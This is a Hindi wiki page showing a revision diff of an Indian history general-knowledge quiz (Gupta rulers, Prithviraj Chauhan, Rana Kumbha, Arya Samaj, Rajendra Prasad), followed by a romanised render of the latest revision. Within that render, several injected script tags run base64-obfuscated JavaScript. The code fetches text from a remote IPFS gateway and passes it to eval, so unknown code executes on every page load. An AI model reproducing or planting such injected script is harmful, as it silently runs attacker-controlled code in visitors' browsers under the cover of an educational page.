Difference between revisions of "इतिहास सामान्य ज्ञान 7"

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{{सामान्य ज्ञान प्रश्नोत्तरी}}
 
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{{इतिहास सामान्य ज्ञान नोट}}
 
{{इतिहास सामान्य ज्ञान}}
 
{{इतिहास सामान्य ज्ञान}}
{{सामान्य ज्ञान नोट}}
 
 
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{प्रथम गुप्त शासक जिसने 'परम भागवत' की उपाधि धारण की, वह कौन था?
 
|type="()"}
 
-चन्द्रगुप्त प्रथम
 
-[[समुद्रगुप्त]]
 
+[[चन्द्रगुप्त द्वितीय]]
 
-[[श्रीगुप्त]]
 
||चन्द्रगुप्त विक्रमादित्य (राज 380-413) [[गुप्त राजवंश]] का राजा था। समस्त गुप्त राजाओं में [[समुद्रगुप्त]] का पुत्र चन्द्रगुप्त द्वितीय सर्वाधिक शौर्य एवं वीरोचित गुणों से सम्पन्न था। उसे देव, देवगुप्त, देवराज, देवश्री, श्रीविक्रम, विक्रमादित्य, परमाभागवत्, नरेन्द्रचन्द्र, सिंहविक्रम, अजीत विक्रम आदि उपाधि धारण की थीं।{{point}}अधिक जानकारी के लिए देखें:- [[चन्द्रगुप्त द्वितीय]]
 
 
{'गीतगोविन्द' ग्रंथ के रचयिता कौन थे?
 
|type="()"}
 
-धोयी
 
-गोवर्द्धनाचार्य
 
+जयदेव
 
-लक्ष्मण सेन
 
||जयदेव बारहवीं सदी का महान [[संस्कृत]] कवि थे। जो [[बंगाल]] के सेन शासक [[लक्ष्मण सेन]] का समकालीन था। इसका अमर ग्रंथ गीतगोविन्द है, जिसमें उसने [[राधा]] [[कृष्ण]] की भक्ति में अनेक गीत लिखे हैं।
 
 
 
{निम्नलिखित में से कौन-सा शासक '[[पृथ्वीराज चौहान]]' के नाम से प्रसिद्ध है?
 
{निम्नलिखित में से कौन-सा शासक '[[पृथ्वीराज चौहान]]' के नाम से प्रसिद्ध है?
 
|type="()"}
 
|type="()"}
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+[[पृथ्वीराज तृतीय]]
 
+[[पृथ्वीराज तृतीय]]
 
-उपर्युक्त में से कोई नहीं
 
-उपर्युक्त में से कोई नहीं
||[[चौहान वंश]] का शासक पृथ्वीराज तृतीय को पृथ्वीराज चौहान के नाम से प्रसिद्धि प्राप्त हुई, समकालीन मुस्लिम इतिहासकारों ने इसे 'राय पिथौरा' नाम से उल्लेख किया।{{point}}अधिक जानकारी के लिए देखें:- [[पृथ्वीराज तृतीय]]
+
||[[चित्र:Prithvi-Raj-Chauhan-Statue-Ajmer.jpg|right|100px|पृथ्वीराज चौहान]]'[[पृथ्वीराज चौहान]]' अथवा 'पृथ्वीराज तृतीय' को 'राय पिथौरा' भी कहा जाता है। वह [[चौहान वंश]] का सबसे वीर तथा प्रसिद्ध राजा था। [[पृथ्वीराज चौहान]] [[तोमर|तोमर वंश]] के राजा [[अनंग पाल]] का दौहित्र (बेटी का बेटा) था। वह अनंग पाल के बाद [[दिल्ली]] का राजा हुआ था। पृथ्वीराज के अधिकार में दिल्ली से लेकर [[अजमेर]] तक का विस्तृत भू-भाग था। राजा बनने के बाद उसने अपनी राजधानी दिल्ली का नव-निर्माण किया। उससे पहले तोमर नरेश ने एक गढ़ के निर्माण का शुभारंभ किया था, जिसे पृथ्वीराज चौहान ने विशाल रूप देकर पूरा किया। [[किंवदंती|किंवदंतियों]] के अनुसार [[मुहम्मद ग़ोरी]] ने 18 बार पृथ्वीराज पर आक्रमण किया था, जिसमें से 17 बार ग़ोरी ने पराजय का स्वाद चखा था। - अधिक जानकारी के लिए देखें:-[[पृथ्वीराज चौहान]], [[चौहान वंश]]
  
{[[चित्तौड़]] का कीर्तिस्तम्भ किसने बनवाया था?
+
{[[चित्तौड़]] के '[[कीर्ति स्तम्भ चित्तौड़गढ़|कीर्ति स्तम्भ]]' का निर्माण किसने करवाया था?
 
|type="()"}
 
|type="()"}
-राणा सांगा
+
-[[राणा सांगा]]
+राणा कुंभा
+
+[[राणा कुम्भा]]
 
-[[राणा प्रताप]]
 
-[[राणा प्रताप]]
-राणा उदय सिंह
+
-[[राणा उदय सिंह]]
||राणा कुम्भा [[मेवाड़]] के महान योद्धा व शासक थे। राणा कुम्भा ने [[मालवा]] विजय के उपलक्ष्य में [[चित्तौड़]] में कीर्तिस्तम्भ का निर्माण कराया। कुम्भा ने [[अचलगढ़ क़िला माउंट आबू|अचलगढ़]], [[कुम्भलगढ़]], सासबहू का मन्दिर, सूर्यमन्दिर का निर्माण कराया।
+
||[[चित्र:Kirti-Stambh-Chittorgarh-1.jpg|right|80px|कीर्ति स्तम्भ]]'राणा कुम्भा' [[मेवाड़]] के एक महान् योद्धा व सफल शासक थे। 1418 ई. में लक्खासिंह की मृत्यु के बाद उनका पुत्र मोकल मेवाड़ का राजा हुआ, किन्तु 1431 ई. में उसकी मृत्यु हो गई और उसका उत्तराधिकारी [[राणा कुम्भा]] हुआ। राणा कुम्भा स्थापत्य का बहुत अधिक शौकीन था। मेवाड़ में निर्मित 84 क़िलों में से 32 क़िलों का निर्माण उसने करवाया था। राणा कुम्भा ने अपने प्रबल प्रतिद्वन्द्वी [[मालवा]] के शासक हुसंगशाह को परास्त कर 1448 ई. में [[चित्तौड़]] में एक '[[कीर्ति स्तम्भ चित्तौड़गढ़|कीर्ति स्तम्भ]]' की स्थापना करवाई। उसने [[कुम्भलगढ़]] के नवीन नगर एवं क़िलों में अनेक शानदार इमारतें बनवायी थीं। - अधिक जानकारी के लिए देखें:-[[राणा कुम्भा]], [[कीर्ति स्तम्भ चित्तौड़गढ़|कीर्ति स्तम्भ]]
  
{निम्नलिखित युग्मों में से कौन सा सही सुमेलित नहीं है?
+
{निम्नलिखित युग्मों में से कौन-सा सही सुमेलित नहीं है?
 
|type="()"}
 
|type="()"}
-[[बाबर]] - [[खानवा]] का युद्ध
+
-[[बाबर]] - [[खानवा का युद्ध]]
-[[हुमायूँ]] - चौसा खानवा का युद्ध
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-[[हुमायूँ]] - [[चौसा का युद्ध|चौसा]]-[[खानवा का युद्ध]]
-[[अकबर]]- [[हल्दीघाटी]] का युद्ध
+
-[[अकबर]]- [[हल्दीघाटी का युद्ध]]
 
+[[जहाँगीर]]- बल्ख का युद्ध
 
+[[जहाँगीर]]- बल्ख का युद्ध
 +
||[[चित्र:Jahangir-Khusrau-Parviz.jpg|right|120px|अपने पुत्रों के साथ जहाँगीर]]'नूरुद्दीन सलीम जहाँगीर' का जन्म [[फ़तेहपुर सीकरी]] में स्थित [[सलीम चिश्ती|शेख़ सलीम चिश्ती]] की कुटिया में [[भारमल|राजा भारमल]] की बेटी 'मरियम ज़मानी' के गर्भ से [[30 अगस्त]], 1569 ई. को हुआ था। अपने आरंभिक जीवन में [[जहाँगीर]] शराबी और आवारा शाहज़ादे के रूप में बदनाम था। उसके [[पिता]] [[अकबर]] ने उसकी बुरी आदतें छुड़ाने की बड़ी चेष्टा की, किंतु उसे सफलता नहीं मिली। अपने शासनकाल में जहाँगीर ने न्याय व्यवस्था ठीक रखने की ओर विशेष ध्यान दिया। न्यायाधीशों के अतिरिक्त वह स्वयं भी जनता के दु:ख-दर्द को सुनता था। उसके लिए उसने अपने निवास−स्थान से लेकर नदी के किनारे तक एक जंजीर बंधवाई थी। यदि किसी को कुछ फरियाद करनी हो, तो वह उस जंजीर को पकड़ कर खींच सकता था, ताकि उसमें बंधी हुई घंटियों की आवाज़ सुनकर बादशाह उस फरियादी को अपने पास बुला सके। - अधिक जानकारी के लिए देखें:-[[जहाँगीर]], [[मुग़ल वंश]]
  
{निम्नलिखित संगठनों में से किसने शुद्धि आन्दोलन का समर्थन किया?
+
{निम्नलिखित संगठनों में से किसने 'शुद्धि आन्दोलन' का समर्थन किया?
 
|type="()"}
 
|type="()"}
 
+[[आर्य समाज]]
 
+[[आर्य समाज]]
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-[[ब्रह्म समाज]]
 
-[[ब्रह्म समाज]]
 
-[[प्रार्थना समाज]]
 
-[[प्रार्थना समाज]]
||1875 ई. में [[स्वामी दयानंद सरस्वती]] ने [[बम्बई]] में आर्य समाज की स्थापना की, इनके बचपन का नाम '''मूलशंकर''' था। आर्य समाज द्वारा शुद्धि आन्दोलन चलाया गया जिसके अंतर्गत [[हिन्दू धर्म]] का परित्याग कर अन्य धर्म अपनाने वाले लोगों के लिए पुन: धर्म में वापसी के द्वार खोल दिए गए।{{point}}अधिक जानकारी के लिए देखें:- [[आर्य समाज]]
+
||[[चित्र:Dayanand-Saraswati.jpg|right|90px|दयानंद सरस्वती]][[स्वामी दयानंद सरस्वती]] ने संभवत: [[7 अप्रैल]] या [[10 अप्रैल]] सन [[1875]] ई. को [[बम्बई]] में '[[आर्य समाज]]' की स्थापना की थी। इसका उद्देश्य [[वैदिक धर्म]] को पुनः शुद्ध रूप से स्थापित करने का प्रयास, [[भारत]] को धार्मिक, सामाजिक व राजनीतिक रूप से एक सूत्र में बांधने का प्रयत्न और पाश्यात्य प्रभाव को समाप्त करना आदि था। [[दयानंद सरस्वती]] द्वारा चलाये गये 'शुद्धि आन्दोलन' के अन्तर्गत उन लोगों को पुनः [[हिन्दू धर्म]] में आने का मौका मिला, जिन्होंने किसी कारणवश [[इस्लाम धर्म]] स्वीकार कर लिया था। [[एनी बेसेंट]] ने कहा था कि- "स्वामी दयानन्द ऐसे पहले व्यक्ति थे, जिन्होंने कहा कि 'भारत भारतीयों के लिए है'।" - अधिक जानकारी के लिए देखें:-[[आर्य समाज]], [[स्वामी दयानंद सरस्वती]]
  
{मंगल पांडे कहाँ के विप्लव से जुड़े हैं?
+
{'इण्डिया डिवाइडेड' नाम की पुस्तक के लेखक कौन थे?
 
|type="()"}
 
|type="()"}
+[[बैरकपुर]]
+
-[[अबुलकलाम आज़ाद|मौलाना अबुल कलाम आज़ाद]]
-[[मेरठ]]
+
+[[राजेंद्र प्रसाद|डॉ. राजेंद्र प्रसाद]]
-[[दिल्ली]]
+
-[[नरेन्द्र देव]]
-उपर्युक्त में से कोई नहीं
+
-[[अरुणा आसफ़ अली]]
||मंगल पांडे बैरकपुर छावनी में 34 वीं रेजीमेण्ट में तैनात एक सिपाही थे। [[29 मार्च]], 1857 ई. को कुछ सैनिकों ने मंगल पांडे के नेतृत्व में विद्रोह की शुरूआत की।
+
||[[चित्र:Dr.Rajendra-Prasad.jpg|100px|right|डॉ. राजेंद्र प्रसाद]]'डॉक्टर राजेन्द्र प्रसाद' [[भारत]] के प्रथम [[राष्ट्रपति]] थे। [[बिहार]] प्रान्त के एक छोटे-से गाँव [[जीरादेयू]] में [[3 दिसम्बर]], [[1884]] ई. में [[राजेन्द्र प्रसाद]] का जन्म हुआ था। राजेन्द्र प्रसाद प्रतिभाशाली और विद्वान् व्यक्तियों में से एक थे। ज्ञान के प्रति लगाव होने के कारण ही राजेन्द्र प्रसाद धनी और दरिद्र दोनों के घरों में प्रकाश लाना चाहते थे। उन्होंने कई पुस्तकों की भी रचना की थी, जिनमें 'चम्पारन में सत्याग्रह' ([[1922]] ई.), 'इंडिया डिवाइडेड' ([[1946]] ई.), 'महात्मा गांधी एंड बिहार', 'सम रेमिनिसन्सेज' ([[1949]] ई.) आदि मुख्य थीं। सन [[1962]] में अवकाश प्राप्त करने पर राष्ट्र ने उन्हें '[[भारत रत्‍न]]' की सर्वश्रेष्ठ उपाधि से सम्मानित किया था। - अधिक जानकारी के लिए देखें:-[[डॉ. राजेंद्र प्रसाद]]
 
 
{[[महात्मा गाँधी]] धरसना नमक गोदाम पर [[कांग्रेस]] कार्य-कर्ताओं के धावे के समय कहाँ थे?
 
|type="()"}
 
+यरवदा जेल में
 
-साबरमती जेल में
 
-आगा ख़ाँ पैलेस [[पूना]] में
 
-अहमदनगर फ़ोर्ट जेल में
 
 
 
{'इण्डिया डिवाइडेड' पुस्तक के लेखक थे?
 
|type="()"}
 
-[[मौलाना अबुल कलाम आज़ाद]]
 
+[[डॉ. राजेंद्र प्रसाद]]
 
-नरेन्द्र देव
 
-आसफ अली
 
||[[चित्र:Dr.Rajendra-Prasad.jpg|100px|right|डॉ. राजेंद्र प्रसाद]]डॉक्टर राजेन्द्र प्रसाद भारत के प्रथम [[राष्ट्रपति]] थे। [[बिहार]] प्रान्त के एक छोटे से गाँव जीरादेयू में [[3 दिसम्बर]], [[1884]] में राजेन्द्र प्रसाद का जन्म हुआ था।। राजेन्द्र प्रसाद प्रतिभाशाली और विद्वान व्यक्ति थे।{{point}}अधिक जानकारी के लिए देखें:- [[डॉ. राजेंद्र प्रसाद]]
 
 
 
{भारतीय स्वाधीनता आन्दोलन का सरकारी इतिहासकार था?
 
|type="()"}
 
-आर.सी. मजूमदार
 
-[[वी. डी. सावरकर]]
 
-ताराचन्द्र
 
+एस. एन. सेन
 
||भारतीय स्वाधीनता आन्दोलन (1857) के सरकारी इतिहासकार डॉ. एस. एन. सेन थे। इन्होंने अपनी पुस्तक 'एट्टीन फिफ्टी सेवन' में विचार व्यक्त किया कि "जो कुछ [[धर्म]] के लिए लड़ाई के रूप में शुरू हुआ, वह स्वतंत्रता संग्राम के रूप में समाप्त हुआ।"
 
 
 
{निम्नलिखित में से कौन भक्ति आन्दोलन का प्रस्तावक नहीं था?
 
|type="()"}
 
+[[नागार्जुन]]
 
-[[तुकाराम]]
 
-त्यागराज
 
-[[वल्लभाचार्य]]
 
||नागार्जुन कनिष्क के समय का विख्यात विद्वान था तथा उच्चकोटि का दार्शनिक भी था। यह पहला विद्वान था जिसने महायान धर्म के बारे में लिखा। शून्यवाद का प्रतिपादन भी इसी विद्वान ने किया 'माध्यमिक सूत्र' तथा 'परजनापारमित्र' सूत्र रचनाएँ विशेष उल्लेखनीय हैं।{{point}}अधिक जानकारी के लिए देखें:- [[नागार्जुन]]
 
 
 
 
 
{बोध गया में 'बोधि वृक्ष' अपने वंश की किस पीढ़ी का है?
 
|type="()"}
 
-तृतीय
 
-चतुर्थ
 
-पंचम
 
+षष्ठम
 
||बोध गया में 'बोधि वृक्ष' [[गौतम बुद्ध]] के जन्म के बाद छठी पीढ़ी का है।
 
 
 
{विश्व का सबसे ऊँचा कहा जाने वाला विश्व शांति स्तूप [[बिहार]] में कहाँ है?
 
|type="()"}
 
-[[वैशाली]]
 
-[[नालन्दा]]
 
+[[राजगीर]]
 
-[[पटना]]
 
||[[गौतम बुद्ध]] से सम्बन्धित विश्व का सबसे ऊँचा स्तूप जिसे विश्व शांति स्तूप कहा जाता है, राजगीर में स्थित है।{{point}}अधिक जानकारी के लिए देखें:- [[राजगीर]]
 
 
 
{'नव नालन्दा महाविहार' किसके लिये विख्यात है?
 
|type="()"}
 
+ह्वेन त्सांग स्मारक
 
-[[महावीर]] का जन्मस्थान
 
-पालि अनुसंधान संस्थान
 
-संग्रहालय
 
||ह्वेन त्सांग एक चीनी यात्री था, जो हर्ष के कार्यकाल में [[भारत]] आया था। इसी की याद में [[बिहार]] राज्य में नव नालन्दा महाविहार का निर्माण किया गया।{{point}}अधिक जानकारी के लिए देखें:- [[ह्वेन त्सांग]]
 
 
 
{[[अशोक]] के ब्राह्मी अभिलेखों को सर्वप्रथम किसने पढ़ा था?
 
|type="()"}
 
-एस. आर. गोयल
 
+प्रिंसेप
 
-एच. डी. साँकलिया
 
-वी. एन. मिश्रा
 
||1750 में टीफेंथैलर ने सबसे पहले [[दिल्ली]] में अशोक के स्तम्भ का पता लगाया, किंतु [[अशोक के अभिलेख|अशोक के अभिलेखों]] को सर्वप्रथम जेम्स प्रिंसेप ने 1837 ई. में पढ़ा था।
 
 
 
{विश्व का पहला गणतंत्र [[वैशाली]] में किसके द्वारा स्थापित किया गया?
 
|type="()"}
 
-[[मौर्य वंश|मौर्य]]
 
-[[नंद वंश|नंद]]
 
-[[गुप्त वंश|गुप्त]]
 
+[[लिच्छवी]]
 
||लिच्छवी में बुद्ध काल में लिच्छवियों का प्रसिद्ध गणराज्य था। यह गणराज्यों में सबसे पहला बड़ा और शक्तिशाली गणराज्य था। इसकी केन्द्रीय समिति में 7,707 राजा थे। यह [[जैन धर्म|जैन]] और [[बौद्ध धर्म]] का प्रमुख केन्द्र था।{{point}}अधिक जानकारी के लिए देखें:- [[लिच्छवी]]
 
 
 
{[[भारत]] में प्रथम रेलवे लाइन किस ब्रिटिश गवर्नर के समय बिछाई गई थी?
 
|type="()"}
 
+[[लॉर्ड डलहौज़ी]]
 
-[[लॉर्ड कर्ज़न]]
 
-लॉर्ड वेलेजली
 
-[[लॉर्ड लिटन]]
 
||भारत में सर्वप्रथम रेल सेवा गवर्नर जनरल लॉर्ड डलहौज़ी के शासनकाल में [[मुम्बई]] से थाणे के बीच 1853 ई. में प्रारम्भ की गई थी।{{point}}अधिक जानकारी के लिए देखें:- [[लॉर्ड डलहौज़ी]]
 
 
 
{[[1942]] के आन्दोलन में [[डॉ. राजेंद्र प्रसाद]] को किस जेल में क़ैद रखा गया था?
 
|type="()"}
 
+बांकीपुर जेल
 
-हजारीबाग जेल
 
-कैम्प जेल
 
-भागलपुर जेल
 
||[[चित्र:Dr.Rajendra-Prasad.jpg|100px|right|डॉ. राजेंद्र प्रसाद]]1942 के '[[भारत]] छोड़ो आन्दोलन' के दौरान डॉ. राजेंद्र प्रसाद को गिरफ़्तार कर बांकीपुर जेल ([[पटना]]) में रखा गया था। डॉक्टर राजेन्द्र प्रसाद भारत के प्रथम [[राष्ट्रपति]] थे। [[बिहार]] प्रान्त के एक छोटे से गाँव जीरादेयू में [[3 दिसम्बर]], [[1884]] में राजेन्द्र प्रसाद का जन्म हुआ था।। राजेन्द्र प्रसाद प्रतिभाशाली और विद्वान व्यक्ति थे।{{point}}अधिक जानकारी के लिए देखें:- [[डॉ. राजेंद्र प्रसाद]]
 
 
 
{रंगपुर जहाँ [[हड़प्पा]] की समकालीन सभ्यता थी?
 
|type="()"}
 
-[[पंजाब]] में
 
-[[उत्तर प्रदेश]] में
 
+[[सौराष्ट्र]] में
 
-[[राजस्थान]] में
 
||सौराष्ट्र, वर्तमान [[काठियावाड़]]-प्रदेश, जो प्रायद्वीपीय क्षेत्र है। [[महाभारत]] के समय [[द्वारका|द्वारिकापुरी]] इसी क्षेत्र में स्थित थी। सुराष्ट्र या सौराष्ट्र को [[सहदेव]] ने अपनी दिग्विजय यात्रा के प्रसंग में विजित किया था {{point}}अधिक जानकारी के लिए देखें:- [[सौराष्ट्र]]
 
 
 
{प्रारंभिक [[आर्य|आर्यों]] के बारे में निम्न कथनों में से कौन-सा सही नहीं है?
 
|type="()"}
 
-वे [[संस्कृत]] बोलने वाले थे
 
-वे घुड़सवारी किया करते थे
 
-वे कई झुण्डों में [[भारत]] पहुँचे
 
+वे मुख्यत: नगरों में निवास करते थे
 
 
 
{किस शासक ने [[अवंति]] को जीतकर [[मगध]] का हिस्सा बना दिया?
 
|type="()"}
 
-[[अजातशत्रु]]
 
-[[बिम्बिसार]]
 
+शिशुनाग
 
-महापद्यनंद
 
 
 
{किसे [[एशिया]] की रोशनी कहा जाता है?
 
|type="()"}
 
-[[महात्मा गाँधी]]
 
+[[गौतम बुद्ध]]
 
-माओत्से तुंग
 
-[[अकबर]]
 
||[[चित्र:Buddha-Statue-Bodhgaya-Bihar-2.jpg|100px|right|बुद्ध प्रतिमा, बोधगया, बिहार]]गौतम बुद्ध का नाम सिद्धार्थ था। सिंहली, अनुश्रुति, खारवेल के अभिलेख, [[अशोक]] के सिंहासनारोहण की तिथि, कैण्टन के अभिलेख आदि के आधार पर महात्मा बुद्ध की जन्म तिथि 563 ई. पूर्व स्वीकार की गयी है। इनका जन्म शाक्यवंश के राजा [[शुद्धोदन]] की रानी महामाया के गर्भ से [[लुम्बिनी]] में माघ पूर्णिमा के दिन हुआ था।{{point}}अधिक जानकारी के लिए देखें:- [[गौतम बुद्ध]]
 
 
 
{केवल वह स्तम्भ जिसमें [[अशोक]] ने स्वयं को [[मगध]] का सम्राट बताया है?
 
|type="()"}
 
-मस्की का लघु स्तम्भ
 
-रुम्मिनदई स्तम्भ
 
-क्वीन स्तम्भ
 
+भाब्रू स्तम्भ
 
 
 
{सर्वप्रथम [[रोम]] के साथ किन लोगों का व्यापार प्रारंभ हुआ?
 
|type="()"}
 
-[[कुषाण वंश|कुषाणों]] का
 
+तमिलों एवं चेरों का
 
-[[वाकाटक वंश|वाकाटकों]]
 
-शकों का
 
 
 
{[[मौर्य साम्राज्य]] का अंतिम शासक कौन था?
 
|type="()"}
 
-[[दशरथ मौर्य|दशरथ]] 
 
-[[कुणाल]]
 
-सालिसुक
 
+[[बृहद्रथ मौर्य|बृहद्रथ]]
 
|| बृहद्रथ मौर्य, [[मौर्य वंश]] का अंतिम शासक था। यह अपने प्रधान सेनापति पुष्यमित्र शुंग द्वारा मारा गया। {{point}}अधिक जानकारी के लिए देखें:- [[बृहद्रथ मौर्य]]  
 
 
</quiz>
 
</quiz>
 
|}
 
|}
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{{इतिहास सामान्य ज्ञान}}
 
{{इतिहास सामान्य ज्ञान}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
 
{{सामान्य ज्ञान प्रश्नोत्तरी}}
{{प्रचार}}
 
 
[[Category:सामान्य ज्ञान]]
 
[[Category:सामान्य ज्ञान]]
 +
[[Category:सामान्य ज्ञान प्रश्नोत्तरी]]
 +
[[Category:इतिहास कोश]]
 +
[[Category:इतिहास सामान्य ज्ञान]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__
 +
{{Review-G}}

Latest revision as of 13:28, 15 February 2023

samany jnan prashnottari
rajyoan ke samany jnan


  1. REDIRECTsaancha:nila<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>is vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh

panne par jaean
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 nimnalikhit mean se kaun-sa shasak 'prithviraj chauhan' ke nam se prasiddh hai?

prithviraj pratham
prithviraj dvitiy
prithviraj tritiy
uparyukt mean se koee nahian

3 nimnalikhit yugmoan mean se kaun-sa sahi sumelit nahian hai?

babar - khanava ka yuddh
humayooan - chausa-khanava ka yuddh
akabar- haldighati ka yuddh
jahaangir- balkh ka yuddh

4 nimnalikhit sangathanoan mean se kisane 'shuddhi andolan' ka samarthan kiya?

ary samaj
dev samaj
brahm samaj
prarthana samaj

5 'indiya divaided' nam ki pustak ke lekhak kaun the?

maulana abul kalam azad
d aau. rajeandr prasad
narendr dev
aruna asaf ali

panne par jaean
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

samany jnan prashnottari
rajyoan ke samany jnan


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